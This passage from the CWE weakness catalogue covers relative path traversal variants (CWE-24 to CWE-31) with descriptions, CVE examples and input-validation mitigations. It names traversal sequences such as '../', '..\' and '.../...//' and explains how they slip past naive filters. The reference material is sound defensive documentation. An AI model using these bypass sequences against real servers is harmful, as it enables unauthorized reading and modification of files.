CVE-2001-0963	"..." in cd command in FTP server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0963*
CVE-2001-1193	"..." in cd command in FTP server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1193*
CVE-2001-1131	"..." in cd command in FTP server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1131*
CVE-2001-0480	read of arbitrary files and directories using GET or CD with "..." in Windows-based FTP server. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0480*
CVE-2002-0288	read files using "." and Unicode-encoded "/" or "\" characters in the URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0288*
CVE-2003-0313	Directory listing of web server using "..." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0313*
CVE-2005-1658	Triple dot *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1658*
CVE-2000-0240	read files via "/........../" in URL *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0240*
CVE-2000-0773	read files via "...." in web server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0773*
CVE-1999-1082	read files via "....." in web server (doubled triple dot?) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1082*
CVE-2004-2121	read files via "....." in web server (doubled triple dot?) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2121*
CVE-2001-0491	multiple attacks using "..", "...", and "...." in different commands *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0491*
CVE-2001-0615	"..." or "...." in chat server *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0615*
CVE-2005-2169	chain: ".../..././/" bypasses protection mechanism using regexp's that remove "../" resulting in collapse into an unsafe value "../" (CWE-182) and resultant path traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169*
CVE-2005-0202	".../...././/" bypasses regexp's that remove "./" and "../"

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0202
CVE-2004-1670	Mail server allows remote attackers to create arbitrary directories via a ".." or rename arbitrary files via a "..../" in user supplied parameters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1670*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Relative Path Traversal
Software Fault Patterns	SFP16		Path Traversal

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
76	Manipulating Web Input to File System Calls
139	Relative Path Traversal

References

[REF-192]OWASP. "OWASP Attack listing". < http://www.owasp.org/index.php/Relative_Path_Traversal >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-24: Path Traversal: '../filedir'

Weakness ID : 24 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The "../" manipulation is the canonical manipulation for operating systems that use "/" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which "/" is supported but not the primary separator, such as Windows, which uses "\" but can also accept "/".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	23	Relative Path Traversal	42

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'../filedir
Software Fault Patterns	SFP16		Path Traversal

CWE-25: Path Traversal: '/../filedir'

Weakness ID : 25 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/../" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Sometimes a program checks for "../" at the beginning of the input, so a "/../" can bypass that check.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	23	Relative Path Traversal	42

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may

be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'/../filedir
Software Fault Patterns	SFP16		Path Traversal

CWE-26: Path Traversal: '/dir/../filename'

Weakness ID : 26 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/dir/../filename" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '/dir/../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "../" at the beginning of the input, so a "/../" can bypass that check.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	23	Relative Path Traversal	42

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'/directory/../filename
Software Fault Patterns	SFP16		Path Traversal

CWE-27: Path Traversal: 'dir/../../filename'

Weakness ID : 27 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal "../" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The 'directory/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "../" sequence, so multiple "../" can bypass that check. Alternately, this manipulation could be used to bypass a check for "../" at the beginning of the pathname, moving up more than one directory level.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	23	Relative Path Traversal	42

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-0298	Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several "/../" sequences, or several "../" in a URI. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0298*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'directory/../../filename
Software Fault Patterns	SFP16		Path Traversal

CWE-28: Path Traversal: '..\filedir'

Weakness ID : 28 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "..\" sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..\' manipulation is the canonical manipulation for operating systems that use "\" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	23	Relative Path Traversal	42

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Windows *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a

directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-0661	"\" not in denylist for web server, allowing path traversal attacks when the server is run in Windows and other OSes. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0661*
CVE-2002-0946	Arbitrary files may be read files via ..\ (dot dot) sequences in an HTTP request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0946*
CVE-2002-1042	Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via "..\" sequences in queries. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1042*
CVE-2002-1209	Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via "..\" sequences in a GET request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1209*
CVE-2002-1178	Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via "..\" sequences in an HTTP request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1178*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'..\filename' ('dot dot backslash')
Software Fault Patterns	SFP16		Path Traversal

CWE-29: Path Traversal: '\..\filename'

Weakness ID : 29 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

This is similar to CWE-25, except using "\" instead of "/". Sometimes a program checks for "..\" at the beginning of the input, so a "\..\" can bypass that check. It is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	23	Relative Path Traversal	42

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Windows *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-1987	Protection mechanism checks for "/.." but doesn't account for Windows-specific "\.." allowing read of arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1987*
CVE-2005-2142	Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a "\.." sequence in an LS command. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2142*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'\..\filename' ('leading dot dot backslash')
Software Fault Patterns	SFP16		Path Traversal

CWE-30: Path Traversal: '\dir\..\filename'

Weakness ID : 30 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\dir\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

This is similar to CWE-26, except using "\" instead of "/". The '\dir\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "..\" at the beginning of the input, so a "\..\" can bypass that check.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	23	Relative Path Traversal	42

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Windows *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-1987	Protection mechanism checks for "/.." but doesn't account for Windows-specific "\.." allowing read of arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1987*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			7 - '\directory\..\filename
Software Fault Patterns	SFP16		Path Traversal

CWE-31: Path Traversal: 'dir\..\..\filename'

Weakness ID : 31 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize 'dir\..\..\filename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The 'dir\..\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "..\" sequence, so multiple "..\" can bypass that check. Alternately, this manipulation could be used to bypass a check for "..\" at the beginning of the pathname, moving up more than one directory level.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	23	Relative Path Traversal	42

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : Windows *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-0160	The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a "..\.." sequence in the URL to port 2002. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0160*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			8 - 'directory\..\..\filename
Software Fault Patterns	SFP16		Path Traversal

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-32: Path Traversal: '...' (Triple Dot)

Weakness ID : 32 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (triple dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

